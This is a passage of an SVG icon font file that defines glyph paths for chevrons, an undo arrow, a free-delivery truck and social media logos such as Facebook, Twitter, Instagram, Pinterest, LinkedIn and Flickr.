241.6134322898845 268.7189531686942C221.595969369093 284.1453198192352 197.8093473823318 294.3483852697904 172.8262793359371 298.2251536855022L169.5696805937393 277.2370827482862C214.4130452738021 270.2785807837076 251.5382709348563 241.1277743035481 268.8810751495558 199.2585338226098C282.0384420242829 167.4932449174641 282.0384420242829 132.5053391700393 268.8810751495558 100.7400502648937C257.8270462885394 74.0522235725832 238.5947068471169 52.3271701808828 213.8919894750504 38.259371570837V91.3596299748676H192.6533020259348V10.6561574494696H273.3567745513327V31.8948448985853H242.4721832190771C262.6156623520667 47.623508867152 278.4583072766103 68.3602553362202 288.5042064400421 92.6127125343654z" />
    <glyph glyph-name="034-right-chevron-1"
      unicode="&#xF122;"
      horiz-adv-x="300" d="M119.4526256884517 300L103.8074691485289 284.4063852973228L237.7764851412246 150L103.8074691485289 15.5936147026773L119.4526256884517 0L268.9644508585398 150zM46.6799693694224 300L31.0348128294996 284.4063852973228L165.0038288221954 150L31.0348128294996 15.5936147026773L46.6799693694224 0L196.1917945395105 150z" />
    <glyph glyph-name="035-down-chevron-1"
      unicode="&#xF123;"
      horiz-adv-x="300" d="M149.9996318449233 62.2240984495763L15.5943127403746 196.1920493229628L0 180.5469311819987L149.9996318449233 31.0354729688271L300 180.5469311819987L284.4056872596255 196.1920493229628zM300 253.3194088902088L284.4056872596255 268.9645270311729L149.9996318449233 134.9965761577864L15.5943127403746 268.9645270311729L0 253.3194088902088L149.9996318449233 103.8079506770372z" />
    <glyph glyph-name="036-left-chevron-1"
      unicode="&#xF124;"
      horiz-adv-x="300" d="M196.1917945395105 284.4063852973228L180.5466379995877 300L31.0348128294996 150L180.5466379995877 0L196.1917945395105 15.5936147026773L62.2235148587754 150zM268.9644508585398 284.4063852973228L253.319294318617 300L103.8074691485289 150L253.319294318617 0L268.9644508585398 15.5936147026773L134.9961711778046 150z" />
    <glyph glyph-name="037-up-chevron-1"
      unicode="&#xF125;"
      horiz-adv-x="300" d="M149.9996318449233 237.7766378605772L284.4056872596255 103.8079506770372L300 119.4530688180013L149.9996318449233 268.9645270311729L0 119.4530688180013L15.5943127403746 103.8079506770372zM0 46.6805911097912L15.5943127403746 31.0354729688271L149.9996318449233 165.0041601523671L284.4056872596255 31.0354729688271L300 46.6805911097912L149.9996318449233 196.1920493229628z" />
    <glyph glyph-name="038-undo"
      unicode="&#xF126;"
      horiz-adv-x="300" d="M250.7870132199342 266.4427946402866L279.0196670709893 294.6754484913417H192.7033137150328V208.3583871774662L235.7478631470146 251.402936609448C275.3935066099671 215.9583154377304 290.4383203462387 157.949659472241 268.963832789779 106.1051931073217C255.8064348655116 74.3398292405499 231.0661374287912 49.5995318038296 199.3007735620194 36.4421338795622C167.5375335690046 23.2847359552949 132.548837297111 23.2847359552949 100.7827654724203 36.4421338795622C69.0174016056486 49.5995318038296 44.2771041689282 74.33982924055 31.1197062446608 106.1051931073217C17.9623083203934 137.8705569740935 17.9623083203934 172.8585452880681 31.1197062446608 204.6239091548398L11.4972366042562 212.7512660647451C-3.8307602996078 175.7448897237548 -3.8307602996078 134.9835045804877 11.4972366042562 97.9771282394975C26.8259414660393 60.9707518985072 55.6483242636058 32.1483691009407 92.655408562515 16.8196642391576C111.1614285646861 9.1546038503472 130.5984132303176 5.3224276349014 150.0424774751389 5.3231355928204C169.4822939724463 5.3238435507394 188.9284820910245 9.1560197661851 207.4302543456817 16.8196642391576C244.435922728753 32.1483691009407 273.2583055263196 60.9707518985072 288.5877183460215 97.9771282394975C313.4405810918599 157.9836414523521 296.3030437470797 225.0796452658854 250.7870132199342 266.4427946402866z" />
    <glyph glyph-name="039-free-delivery"
      unicode="&#xF127;"
      horiz-adv-x="300" d="M213.6443527881607 35.1710157833683C217.3827964800862 23.347550472798 228.4545891285753 14.7522350983677 241.4978381355237 14.7522350983677C254.541673013604 14.7522350983677 265.6128797909612 23.347550472798 269.3513234828867 35.1710157833683H300V109.9838299567627L262.7063731061716 189.6757789156697H196.6535040952393V238.3757308742369H150.1921657312258C152.4079303516399 242.7305109968011 153.6657956715841 247.6512426326705 153.6657956715841 252.8631522210374V253.1847954723879C153.6657956715841 270.8646286162895 139.2820735151096 285.248350772764 121.6016545000762 285.248350772764C112.442731096868 285.248350772764 104.174917685106 281.3821871741092 98.3261661764878 275.2030043471638C92.4780005390014 281.3821871741092 84.2096012561077 285.248350772764 75.0500919817677 285.248350772764C57.370258837866 285.248350772764 42.9865366813916 270.8646286162895 42.9865366813916 253.1847954723879V252.8631522210374C42.9865366813916 247.6512426326705 44.2444020013358 242.7305109968011 46.4601666217499 238.3757308742369H0V35.1710157833683H30.6486765171133C34.3871202090388 23.3475504727979 45.4589128575279 14.7522350983677 58.5021618644763 14.7522350983677S82.6172035199138 23.3475504727979 86.3556472118393 35.1710157833683zM277.3965058645701 116.8174308379129H239.5380991997001V172.1002308332259H251.5256084271704zM179.0773701416636 189.6757789156697H130.2291927867546V220.7995969206613H179.0773701416636zM112.653058833179 220.7995969206613V152.0019216573123L98.3267520476196 157.4493514406571L84.0004452620601 152.0019216573123V220.7995969206613zM121.6022403712079 267.6722168191885C129.5911791242398 267.6722168191885 136.0902475891403 261.173148354288 136.0902475891403 253.1847954723879V252.8631522210375C136.0902475891403 244.8747993391374 129.5911791242398 238.3757308742369 121.6022403712079 238.3757308742369H107.1148190244074V253.1847954723879C107.1148190244074 261.173148354288 113.6138874893078 267.6722168191885 121.6022403712079 267.6722168191885zM60.5638423772307 252.8631522210375V253.1847954723879C60.5638423772307 261.173148354288 67.0629108421312 267.6722168191885 75.0512637240313 267.6722168191885C83.0402024770631 267.6722168191885 89.5392709419636 261.173148354288 89.5392709419636 253.1847954723879V238.3757308742369H75.0512637240313C67.0629108421312 238.3757308742369 60.5638423772307 244.8747993391374 60.5638423772307 252.8631522210375zM66.4243113084846 220.7995969206613V189.6757789156697H17.5761339535756V220.7995969206613zM58.5021618644763 32.3283690519433C52.0892164559483 32.3283690519433 46.8708622851317 37.5461373516281 46.8708622851317 43.959082760156S52.0886305848165 55.5897964683688 58.5021618644763 55.5897964683688S70.1334614438208 50.372028168684 70.1334614438208 43.959082760156S64.915693144136 32.3283690519433 58.5021618644763 32.3283690519433zM86.3562330829711 52.7471497369438C82.6177893910455 64.5706150475141 71.5459967425565 73.1659304219443 58.5027477356081 73.1659304219443S34.3877060801706 64.5706150475141 30.6492623882451 52.7471497369438H17.5761339535755V172.0996449620941H66.4243113084846V126.5153556823641L98.3267520476196 138.6452315948583L130.2291927867546 126.5153556823641V172.0996449620941H179.0773701416636V52.746563865812H86.3562330829711zM241.4972522643919 32.3283690519433C235.084306855864 32.3283690519433 229.8665385561792 37.5461373516281 229.8665385561792 43.959082760156S235.0837209847322 55.5897964683688 241.4972522643919 55.5897964683688S253.1285518437365 50.372028168684 253.1285518437365 43.959082760156S247.9101976729199 32.3283690519433 241.4972522643919 32.3283690519433zM269.3513234828867 52.7471497369438C265.6128797909612 64.5706150475141 254.5410871424721 73.1659304219443 241.4978381355237 73.1659304219443S217.383382351218 64.5706150475141 213.6443527881607 52.7471497369438H196.654089966371V172.0996449620941H221.9619652461245V99.2407110132055H282.4238660464245V52.746563865812H269.3513234828867z" />
    <glyph glyph-name="040-facebook"
      unicode="&#xF128;"
      horiz-adv-x="299.4140858917255" d="M169.9218882751475 0.5859141082745H121.8795868655927C113.8549893636711 0.5859141082745 107.3272788927562 7.1136245791894 107.3272788927562 15.1382226670486V123.5000475390662H79.2984073670631C71.2738092792039 123.5000475390662 64.746098808289 130.0300466820349 64.746098808289 138.0523555119028V184.4856173426264C64.746098808289 192.5102148445481 71.2738092792039 199.0379253154629 79.2984073670631 199.0379253154629H107.3272788927562V222.2900329914088C107.3272788927562 245.3453019801017 114.5668120755322 264.9604771453498 128.2608135360011 279.0115342977761C142.0166126575479 293.1266777833342 161.2403997062812 300.5859375457764 183.8539268635881 300.5859375457764L220.4933340229167 300.5264285567523C228.5041989065781 300.5126953525543 235.0204648453488 293.9849848816395 235.0204648453488 285.9741199979781V242.8619340126511C235.0204648453488 234.8373359247919 228.4950436324253 228.3096260398146 220.4727348025574 228.3096260398146L195.8038483049881 228.3004701797243C188.2805016234767 228.3004701797243 186.3647606534969 226.7921392025109 185.9550619886767 226.3297975648279C185.2798609593641 225.5630437939878 184.4764855059754 223.3955324918385 184.4764855059754 217.41027186799V199.0402139875167H218.6187914936555C221.1891348585261 199.0402139875167 223.6793694280757 198.4062113989228 225.8194149077668 197.2114484149569C230.4359617528095 194.6319497759336 233.3061399067296 189.7544773245686 233.3061399067296 184.483328084635L233.2878293584241 138.050066839849C233.2878293584241 130.0300466820349 226.7601188875092 123.50233621112 218.7355213855875 123.50233621112H184.4764855059754V15.1382226670486C184.4764855059754 7.1136245791894 177.9464857770691 0.5859141082745 169.9218882751475 0.5859141082745zM124.9145605402001 18.1731957557184H166.8869146005402V131.3735833104362C166.8869146005402 136.7317073618521 171.2471143552433 141.0896178585639 176.6029497346055 141.0896178585639H215.7005477109803L215.7165695872321 181.450643668019H176.6006610625517C171.244825097252 181.450643668019 166.8869146005403 185.8085541647308 166.8869146005403 191.1666782161467V217.41027186799C166.8869146005403 224.281305412602 167.5850046941411 232.0953316090103 172.7714672087084 237.9684396850344C179.0382526592385 245.0683550834653 188.9145042120707 245.8877524131057 195.799270374943 245.8877524131057L217.4331837838425 245.8969071013209V282.943724253416L183.8401936593902 282.9986558983325C147.4983332029948 282.9986558983325 124.9145605402001 259.73510427618 124.9145605402001 222.2900329914088V191.1666782161467C124.9145605402001 185.8108434227221 120.5566500434883 181.450643668019 115.2008146641262 181.450643668019H82.3333804557329V141.0896178585639H115.2008146641262C120.5566500434883 141.0896178585639 124.9145605402001 136.7317073618521 124.9145605402001 131.3735833104362zM220.4590015983595 282.9391463233708H220.4612902704133zM220.4590015983595 282.9391463233708" />
    <glyph glyph-name="041-twitter"
      unicode="&#xF129;"
      horiz-adv-x="300.00002343750003" d="M300 239.66903671875C281.1286927734375 238.7992857421875 281.540680078125 238.8702392578125 279.4075013671875 238.69171171875L290.5838015625 270.60928359375S255.6976318359375 257.77587890625 246.8536376953125 255.4801939453125C223.626708984375 276.356506640625 189.1021728515625 277.2789 164.4195556640625 262.1086119140625C144.2070005859375 249.6826171875 133.3580015625 228.3439634765625 136.976623828125 203.4027099609375C97.6387025390625 208.8615416015625 64.4943234375 227.508544921875 38.32626328125 258.9431765625L30.04989609375 268.8835142578125L23.8655091796875 257.5263978515625C16.0491943359375 243.1755064453125 13.453674609375 226.7669677734375 16.555023046875 211.32431015625C17.8276060546875 204.9888609375 19.99053984375 198.94638046875 22.9866029296875 193.288421484375L15.8866880859375 196.0395814453125L15.0444029296875 184.1766357421875C14.190673828125 172.1260072265625 18.202972265625 158.058929296875 25.778961328125 146.5507505859375C27.9121400390625 143.3097837890625 30.6587220703125 139.7506710937501 34.1400146484375 136.2396240234375L30.471038671875 136.802673046875L34.9479673828125 123.20938125C40.83251953125 105.3497314453125 53.0548095703125 91.53213515625 68.91632109375 83.8508607421875C53.0754087890625 77.12860078125 40.27862578125 72.83935546875 19.244384765625 65.920257421875L0 59.5939634765625L17.774963671875 49.875641015625C24.5521546875 46.1700439453125 48.500061328125 33.7944029296875 72.161865234375 30.08193984375C124.7589111328125 21.8330384765625 183.9775083984375 28.550719921875 223.844146875 64.455413671875C257.423401171875 94.69757109375 268.4417724609375 137.71591171875 266.1529541015625 182.48291015625C265.8073423828125 189.260101171875 267.66357421875 195.7283021484375 271.380615234375 200.6927490234375C278.8261412109375 210.6330873046875 299.9542236328125 239.6026611328125 300 239.66903671875zM257.3249818359375 211.2213134765625C251.15203828125 202.9792787109375 248.0598451171875 192.4530029296875 248.6137388671875 181.585693359375C250.92315703125 136.42959609375 238.636780078125 101.4106751953125 212.093353125 77.50625625C181.08673125 49.58038359375 131.0737611328125 38.61923203125 74.8832701171875 47.4334716796875C64.707183984375 49.0287779296875 54.1900634765625 52.601623828125 45.485687109375 56.1698912109375C63.121032421875 62.237548828125 76.739501953125 67.6460267578125 98.732757421875 78.05557265625L129.4349671875 92.5872802734375L95.5375669921875 94.757080078125C79.30068984375 95.79620390625 65.7806396484375 103.6651611328125 57.4699400390625 116.441344921875C61.8827818359375 116.697692578125 66.1376953125 117.41180390625 70.3742982421875 118.592834765625L102.703857421875 127.5970458984375L70.1042173828125 135.5804443359375C54.2633056640625 139.4599916015625 45.2339173828125 148.93798828125 40.447998046875 156.207275390625C37.3054505859375 160.984039453125 35.252380078125 165.8775328125 34.02099609375 170.3887939453125C37.2894287109375 169.5121763671875 41.1003111328125 168.8873291015625 47.24578828125 168.278503125L77.419280859375 165.293883984375L53.5125732421875 183.9431765625C36.2869265625 197.3785400390625 29.383850390625 217.563629296875 34.44442734375 236.9682310546875C88.20419296875 181.2080384765625 151.3252259765625 185.398864453125 157.6789857421875 183.924866015625C156.280517578125 197.5090025390625 156.243896484375 197.5410462890625 155.877685546875 198.834228515625C147.7409361328125 227.597808984375 165.5731201171875 242.2027587890625 173.616028125 247.1466064453125C190.415954296875 257.4714662109375 217.0829771484375 259.0278626953125 235.5537416015625 242.0173646484375C239.5431515625 238.3461 244.937896875 236.90185546875 249.9870298828125 238.1561279296875C254.518890234375 239.2822265625 258.238219921875 240.47470078125 261.879730078125 241.7724609375L254.299163671875 220.1248171875L263.9762876953125 220.1179505859375C262.1498109375 217.6689146484375 259.959411328125 214.7369384765625 257.3249818359375 211.2213134765625zM257.3249818359375 211.2213134765625" />
    <glyph glyph-name="042-instagram"
      unicode="&#xF12A;"
      horiz-adv-x="300" d="M237.364453125 300H62.635546875C28.098046875 300 0 271.901953125 0 237.364453125V62.6361328125C0 28.098046875 28.098046875 0 62.635546875 0H237.3638671875C271.901953125 0 300 28.098046875 300 62.635546875V237.364453125C300 271.9019531250001 271.901953125 300 237.364453125 300zM62.635546875 17.578125C37.790625 17.578125 17.578125 37.790625 17.578125 62.635546875V180.2689453125H64.171875C59.272265625 168.93046875 56.551171875 156.439453125 56.551171875 143.32265625C56.551171875 91.7947265625 98.4720703125 49.873828125 150 49.873828125S243.448828125 91.7947265625001 243.448828125 143.32265625C243.448828125 156.4388671875 240.7271484375 168.93046875 235.828125 180.2689453125H282.421875V62.635546875C282.421875 37.790625 262.209375 17.578125 237.364453125 17.578125zM237.364453125 282.421875C262.209375 282.421875 282.421875 262.209375 282.421875 237.364453125V197.84765625H225.8466796875C208.8638671875 221.405859375 181.194140625 236.77265625 150 236.77265625S91.1361328125 221.405859375 74.1533203125 197.84765625H17.578125V237.364453125C17.578125 262.209375 37.790625 282.421875 62.635546875 282.421875zM225.870703125 143.32265625C225.870703125 101.4873046875 191.8353515625 67.451953125 150 67.451953125S74.129296875 101.4873046875 74.129296875 143.32265625S108.1646484375 219.1939453125 150 219.1939453125S225.870703125 185.15859375 225.870703125 143.32265625zM232.790625 250.1953125H250.36875V232.6171875H232.790625zM96.610546875 143.32265625C96.610546875 113.883984375 120.5607421875 89.9337890625 150 89.9337890625S203.389453125 113.883984375 203.389453125 143.32265625C203.389453125 172.7619140625 179.4392578125 196.712109375 150 196.712109375S96.610546875 172.7625 96.610546875 143.32265625zM185.811328125 143.32265625C185.811328125 123.5765625 169.74609375 107.5119140625 150 107.5119140625S114.188671875 123.5765625 114.188671875 143.32265625S130.25390625 179.1345703125 150 179.1345703125S185.811328125 163.0693359375 185.811328125 143.32265625z" />
    <glyph glyph-name="043-pinterest"
      unicode="&#xF12B;"
      horiz-adv-x="300" d="M263.8078125 225.3064453125C259.262109375 240.664453125 251.9583984375 253.5919921875 241.4765625 264.82734375C231.2279296875 275.8177734375 219.437109375 284.152734375 205.4203125 290.3080078125C189.4576171875 297.30234375 170.953125 300.7025390625 153.2724609375 299.8787109375C146.821875 299.5833984375 140.5236328125 299.2447265625 134.347265625 298.3505859375C116.953125 295.8673828125 101.633203125 290.67890625 87.5109375 282.493359375C69.4974609375 272.0431640625 55.4337890625 257.8248046875 45.7171875 240.23203125C40.662890625 231.08203125 35.690625 214.9353515625 33.5759765625 204.3919921875C31.0751953125 191.961328125 33.277734375 170.401171875 38.296875 158.2423828125C44.56640625 143.0888671875 49.7255859375 136.6025390625 62.305078125 127.2275390625C62.38125 127.171875 69.854296875 121.8826171875 75.176953125 121.8826171875C75.2296875 121.8826171875 75.2876953125 121.8826171875 75.3462890625 121.8826171875C84.776953125 121.8826171875 86.6466796875 130.8615234375 87.551953125 135.1998046875C87.7212890625 136.0177734375 87.8853515625 136.7115234375 88.083984375 137.471484375C88.2591796875 138.144140625 88.487109375 138.805078125 88.7150390625 139.552734375C90.046875 143.86171875 91.864453125 149.731640625 88.84921875 154.9611328125C87.7154296875 156.9216796875 86.377734375 158.431640625 85.19765625 159.7728515625C84.5548828125 160.503515625 83.912109375 161.2001953125 83.3923828125 161.9771484375C78.9169921875 168.6234375 76.65 176.93671875 76.65 186.69140625C76.65 199.4900390625 79.548046875 211.0810546875 85.5076171875 222.1271484375C96.3228515625 242.162109375 114.271875 254.8083984375 137.4216796875 258.70546875C150.6029296875 260.9138671875 165.9521484375 259.9904296875 177.46875 256.2978515625C187.9916015625 252.9234375 196.948828125 246.955078125 203.3759765625 239.0291015625C210.1769531249999 230.64140625 214.06875 220.0013671875 214.9271484374999 207.4013671875C215.487890625 199.3587890625 214.7578125 191.2599609375 214.1560546875 185.8787109375C211.83046875 165.1716796875 205.8005859375 148.5017578125 196.2421875 136.325390625C188.412890625 126.333984375 179.9701171875 121.3236328125 170.4228515625 121.0025390625C164.2470703125 120.76875 159.6837890625 122.019140625 155.5236328125 124.9962890625C151.608984375 127.789453125 149.2775390625 131.23359375 148.1794921875 135.8232421875C146.9349609375 141.064453125 148.442578125 146.5013671875 150.0375 152.2564453125L150.2888671875 153.17109375C151.68515625 158.23359375 153.1400390625 162.8583984375 154.571484375 167.4099609375C156.8208984375 174.5818359375 159.15234375 181.9998046875 161.0748046875 190.603125C163.248046875 200.3138671875 163.5345703125 208.1548828125 161.9630859375 214.564453125C160.023046875 222.5255859375 155.7462890625 228.4880859375 149.24296875 232.2919921875C142.3716796875 236.29453125 132.631640625 237.065625 124.4578125 234.25546875C112.2697265625 230.0923828125 102.973828125 219.0228515625 98.9478515625 203.8904296875C96.9029296875 196.2041015625 96.312890625 188.13515625 97.1947265625 179.9203125C97.87265625 173.4814453125 99.3099609375 167.6326171875 101.97421875 160.565625C101.8869140625 160.2533203125 101.7814453125 159.92578125 101.6818359375 159.610546875C101.50078125 158.9912109375 101.3255859375 158.3982421875 101.1908203125 157.8603515625C98.3748046875 146.1134765625 95.640234375 134.5212890625 92.9056640625 122.949609375C90.21796875 111.558984375 87.5302734375 100.1859375 84.778125 88.695703125L84.1705078125 86.1626953125C81.406640625 74.675390625 78.55546875 62.8001953125 77.8951171875 48.61640625L77.596875 42.7939453125C77.0126953125 31.7361328125 76.4109375 20.305078125 77.8951171875 9.703125C78.1875 7.6494140625 78.847265625 3.0568359375 83.3759765625 1.447265625C84.73125 0.4306640625 86.040234375 0.001171875 87.308203125 0.001171875C91.10625 0.001171875 94.4888671875 3.86015625 97.3634765625 7.135546875C106.747265625 17.8072265625 114.7341796875 31.280859375 121.7689453125 48.3275390625C124.918359375 55.9494140625 127.004296875 64.1501953125 129.019921875 72.084375L130.23515625 76.8111328125C131.7076171875 82.461328125 133.15078125 88.187109375 134.5763671875 93.851953125L134.6701171875 94.22578125C137.32265625 91.9060546875 140.3841796875 89.811328125 143.930859375 87.871875C151.4390625 83.7146484375 159.9111328125 81.29296875 169.1021484375 80.6765625C177.7259765625 80.0923828125 186.788671875 81.1962890625 196.7970703125 84.0685546875C204.3984375 86.2365234375 211.6787109375 89.52890625 218.438671875 93.8583984375C242.6923828125001 109.388671875 259.2275390625 136.5580078125 264.9943359375 170.3560546875C266.7240234375 180.458203125 267.4599609375 188.576953125 267.4599609375 197.5048828125C267.4599609375 207.8015625 266.2330078125 217.158984375 263.8078125 225.3064453125zM253.2029296875 172.3705078125C248.002734375 141.929296875 233.3666015625 117.62578125 211.9875 103.9359375C206.208984375 100.2345703125 199.9921875 97.423828125 193.5005859375 95.5716796875C184.8474609375 93.085546875 177.10546875 92.11875 169.9130859375 92.612109375C162.3703125 93.1201171875 155.7673828125 94.9927734375 149.6970703125 98.35546875C143.63203125 101.6712890625 139.6880859375 105.2794921875 136.9248046875 110.0531250000001L129.5865234375 122.7146484375L122.9724609375 96.7722656250001C121.552734375 91.1396484375001 120.1212890625 85.4490234375001 118.6546875 79.828125L117.427734375 75.0310546875001C115.423828125 67.1607421875 113.5365234375 59.72578125 110.708203125 52.8955078125C104.403515625 37.6224609375 97.374609375 25.5451171875 89.230078125 16.02421875C88.5990234375 24.1576171875 89.0783203125 33.287109375 89.5458984375 42.159375L89.8494140625 48.055078125C90.451171875 61.1080078125 93.1740234375 72.4224609375 95.803125 83.363671875L96.4166015625 85.911328125C99.16875 97.4103515625 101.8564453125 108.7951171875 104.55 120.1998046875C107.2845703125 131.7568359375 110.019140625 143.3373046875 112.817578125 155.037890625L113.1451171875 156.16875C113.869921875 158.593359375 114.6234375 161.0970703125 113.6126953125 163.6388671875C111.0474609375 170.21484375 109.6921875 175.458984375 109.0904296875 181.1818359375C108.371484375 187.941796875 108.844921875 194.55 110.516015625 200.8166015625C113.49609375 212.0203125 119.987109375 220.0833984375 128.330859375 222.9345703125C130.39921875 223.6447265625 132.573046875 223.9482421875 134.647265625 223.9482421875C138.048046875 223.9482421875 141.191015625 223.1361328125 143.2130859375 221.9560546875C146.8470703125 219.8291015625 149.178515625 216.483984375 150.3357421875 211.7220703125C151.44609375 207.1998046875 151.1302734375 200.9712890625 149.4005859375 193.21171875C147.58359375 185.1046875 145.433203125 178.2509765625 143.1544921875 170.994140625C141.68203125 166.3166015625 140.1919921875 161.5634765625 138.7546875 156.3580078125L138.5033203125 155.452734375C136.662890625 148.815234375 134.576953125 141.289453125 136.53984375 133.0482421875C138.3216796875 125.583984375 142.259765625 119.7673828125 148.564453125 115.259765625C154.83984375 110.778515625 162.183984375 108.759375 170.8259765625 109.04296875C183.9375 109.4841796875 195.6521484375 116.1802734375 205.6552734375 128.937890625C216.610546875 142.887890625 223.4701171875 161.593359375 226.0529296875 184.550390625C226.7015625 190.4021484375 227.4960937500001 199.2216796875 226.8708984375 208.22578125C225.8308593750001 223.3294921875 221.0572265625 236.227734375 212.6730468750001 246.5666015625C204.779296875 256.30078125 193.8703125000001 263.607421875 181.121484375 267.69140625C167.893359375 271.9365234375 150.387890625 273.019921875 135.441796875 270.507421875C108.51796875 265.9734375 87.6123046875 251.211328125 74.980078125 227.8107421875C68.0501953125 214.9740234375 64.68515625 201.523828125 64.68515625 186.6884765625C64.68515625 174.5091796875 67.6359375 163.9482421875 73.4607421875 155.29453125C74.2611328125 154.0998046875 75.2197265625 152.98359375 76.212890625 151.85859375C77.10703125 150.8419921875 77.9478515625 149.883984375 78.4623046875 148.9927734375C78.8244140625 148.0171875 77.784375 144.6427734375 77.2822265625 143.021484375C77.0015625 142.107421875 76.733203125 141.2279296875 76.5169921875 140.40703125C76.265625 139.451953125 76.0494140625 138.434765625 75.833203125 137.4041015625C75.5994140625 136.2732421875 75.2373046875 134.532421875 74.8634765625 133.5767578125C73.437890625 134.131640625 70.8556640625 135.5513671875 69.4529296875 136.5943359375C58.7021484375 144.6046875 54.758203125 149.752734375 49.359375 162.8115234375C45.3099609375 172.627734375 43.3001953125 192.055078125 45.3099609375 202.034765625C47.553515625 213.2208984375 52.3330078125 227.4568359375 56.1896484375 234.4482421875C64.8486328125 250.1126953125 77.4052734375 262.79765625 93.5197265625 272.143359375C106.28671875 279.5431640625 120.1921875 284.2412109375 136.055859375 286.508203125C141.7001953125 287.326171875 147.683203125 287.6443359375 153.8296875 287.925C169.6875 288.664453125 186.3099609375 285.6228515625 200.61328125 279.350390625C213.10546875 273.863671875 223.6107421875 266.4462890625 232.7255859375 256.665234375C241.9166015625 246.8173828125 248.326171875 235.449609375 252.333984375 221.9033203125C254.431640625 214.8568359375 255.4951171875 206.647265625 255.4951171875 197.503125C255.493359375 189.28828125 254.81015625 181.7712890625 253.2029296875 172.3705078125z" />
    <glyph glyph-name="044-linkedin"
      unicode="&#xF12C;"
      horiz-adv-x="300" d="M78.2608690335539 2.8579402040816H0V205.3053251020408H78.2608690335539zM13.0426819086774 15.9183673469388H65.2181871248765V192.2448979591837H13.0426819086774zM13.0426819086774 15.9183673469388M300.0007942255382 2.8579402040816H221.7399251919843V113.8775510204082C221.7399251919843 124.6970663265306 212.9795227379109 133.4693877551021 202.1747079335958 133.4693877551021C191.3675049499491 133.4693877551021 182.6094906752073 124.6970663265306 182.6094906752073 113.8775510204082V2.8579402040816H104.3486216416534V205.3053251020408H182.6094906752073V192.1635844897959C194.4221813558276 200.7158804081632 208.6303693707177 205.3148914285714 223.2063608477829 205.3053251020408C265.5156656554643 205.3053251020408 300.0007942255382 170.9382973469388 300.0007942255382 128.6527420408163zM234.7826071006617 15.9183673469388H286.9557235261161V128.6527420408163C286.8673553881295 163.8329081632653 258.3387275928077 192.2903381632653 223.206360847783 192.2448979591837C207.1472152367717 192.2448979591837 192.0648973365157 185.4695473469388 180.8158530515228 173.2246493877551L169.5644199757853 160.8984373469388V192.2448979591837H117.3913035503309V15.9183673469388H169.5644199757853V113.8775510204082C169.5644199757853 131.9124679591837 184.1642950804057 146.5298148979592 202.1747079335958 146.5298148979592C220.1827326074544 146.5298148979592 234.7826071006617 131.9124679591837 234.7826071006617 113.8775510204082zM234.7826071006617 15.9183673469388M39.1304345167769 218.3681442857143C17.5184167288151 218.3681442857143 0 235.9103951020408 0 257.5518177551021C0 279.1908483673469 17.5184167288151 296.7354912244898 39.1304345167769 296.7354912244898S78.2608690335539 279.1908483673469 78.2608690335539 257.5518177551021C78.2154905691882 235.9295277551021 60.7233456472599 218.4111924489796 39.1304345167769 218.3681442857143zM39.1304345167769 283.6726720408164C24.7240147776901 283.6726720408164 13.0426819086774 271.9778381632653 13.0426819086774 257.5518177551021C13.0426819086774 243.1234053061225 24.7240147776901 231.4285714285715 39.1304345167769 231.4285714285715S65.2181871248764 243.1234053061225 65.2181871248764 257.5518177551021C65.2181871248764 271.9778381632653 53.5368542558638 283.6726720408164 39.1304345167769 283.6726720408164zM39.1304345167769 283.6726720408164" />
    <glyph glyph-name="045-flickr"
      unicode="&#xF12D;"
      horiz-adv-x="299.4140917396574" d="M97.6913544620463 195.6069847272446C73.1300426884807 195.6069847272446 53.144078822664 175.6233095335263 53.144078822664 151.0597085019247C53.144078822664 126.4480424265667 73.1300426884807 106.425456877486 97.6913544620463 106.425456877486C122.3030211233419 106.425456877486 142.3278947585835 126.4480424265667 142.3278947585835 151.0597085019247C142.3278947585835 175.6233095335263 122.3030211233419 195.6069847272446 97.6913544620463 195.6069847272446zM97.6913544620463 123.9875623034729C82.814034259183 123.9875623034729 70.7084723348118 136.1320334113314 70.7084723348118 151.0597085019246C70.7084723348118 165.939317962824 82.814034259183 178.0425906291592 97.6913544620463 178.0425906291592C112.6190295526396 178.0425906291592 124.7635012464357 165.939317962824 124.7635012464357 151.0597085019246C124.7635012464357 136.1320334113314 112.6190295526396 123.9875623034729 97.6913544620463 123.9875623034729zM97.6913544620463 123.9875623034729M255.7525884524013 256.684108465245C227.4124370519958 284.9945053705572 189.7316165753532 300.5859375572205 149.6521142238393 300.5859375572205C66.9708317354328 300.5859375572205 -0.2929687786102 233.3221370431775 -0.2929687786102 150.640854554771C-0.2929687786102 67.9000624902405 66.9708317354328 0.5859082603426 149.6521142238393 0.5859082603426C189.7293279032547 0.5859082603426 227.4101477939598 16.195650995669 255.7548771244998 44.5380916541105C284.0973177829412 72.8805317266144 299.7070605182676 110.5636408753555 299.7070605182676 150.6408545547709C299.7070605182676 190.7066237018187 284.0973177829412 228.3668449576997 255.7525884524013 256.684108465245zM243.3357477866941 56.9572209919161C218.3098051083794 31.9335675716375 185.0395381874549 18.1503017724904 149.6521142238393 18.1503017724904C76.6571119782336 18.1503017724904 17.2714247335376 77.5863427330413 17.2714247335376 150.640854554771C17.2714247335376 223.6358568003767 76.6571119782336 283.0215440450727 149.6521142238393 283.0215440450727C185.0441161175895 283.0215440450727 218.3166717106125 269.2543001224903 243.3380364587927 244.2581125252064C268.3616898790713 219.2573469977878 282.1426670061199 186.0122572277595 282.1426670061199 150.6431432268695C282.1426670061199 115.2534305911554 268.3616898790713 81.9831636702309 243.3357477866941 56.9572209919161zM243.3357477866941 56.9572209919161M202.0523271535476 195.6069847272446C177.440660492252 195.6069847272446 157.418075529109 175.6233095335263 157.418075529109 151.0597085019247C157.418075529109 126.4480424265667 177.440660492252 106.425456877486 202.0523271535476 106.425456877486C226.6273721315794 106.425456877486 246.6224912717277 126.4480424265667 246.6224912717277 151.0597085019247C246.6224912717277 175.6233095335263 226.6273721315794 195.6069847272446 202.0523271535476 195.6069847272446zM202.0523271535476 123.9875623034729C187.1246520629543 123.9875623034729 174.9824696271943 136.1320334113314 174.9824696271943 151.0597085019246C174.9824696271943 165.939317962824 187.1246520629543 178.0425906291592 202.0523271535475 178.0425906291592C216.943380560877 178.0425906291592 229.0580971736423 165.939317962824 229.0580971736423 151.0597085019246C229.0580971736423 136.1320334113314 216.943380560877 123.9875623034729 202.0523271535475 123.9875623034729zM202.0523271535476 123.9875623034729" />
    <glyph glyph-name="046-behance"
      unicode="&#xF12E;"
